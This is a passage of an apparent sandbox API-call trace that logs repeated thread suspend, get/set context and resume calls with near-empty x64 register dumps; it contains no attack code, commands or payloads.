[190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0077.167] SetThreadContext (hThread=0x118, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000495d8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0077.290] ResumeThread (hThread=0x118) returned 0x1
[0077.290] CloseHandle (hObject=0x118) returned 1
[0077.290] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0077.387] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0077.509] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0077.595] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0077.673] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x118) returned 1
[0077.673] SuspendThread (hThread=0x118) returned 0x0
[0077.673] GetThreadContext (in: hThread=0x118, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000493d8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12c1e40, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0077.778] ResumeThread (hThread=0x118) returned 0x1
[0077.778] CloseHandle (hObject=0x118) returned 1
[0077.778] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0077.856] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x118) returned 1
[0077.856] SuspendThread (hThread=0x118) returned 0x0
[0077.856] GetThreadContext (in: hThread=0x118, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10283, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000049390, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12b9520, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0077.925] ResumeThread (hThread=0x118) returned 0x1
[0077.925] CloseHandle (hObject=0x118) returned 1
[0077.925] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0078.002] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x118) returned 1
[0078.002] SuspendThread (hThread=0x118) returned 0x0
[0078.002] GetThreadContext (in: hThread=0x118, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xd17c3ff920, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12def60, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0078.072] ResumeThread (hThread=0x118) returned 0x1
[0078.072] CloseHandle (hObject=0x118) returned 1
[0078.072] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0078.238] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x118) returned 1
[0078.238] SuspendThread (hThread=0x118) returned 0x0
[0078.238] GetThreadContext (in: hThread=0x118, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10282, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xd17c3ff5b0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12be8a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, 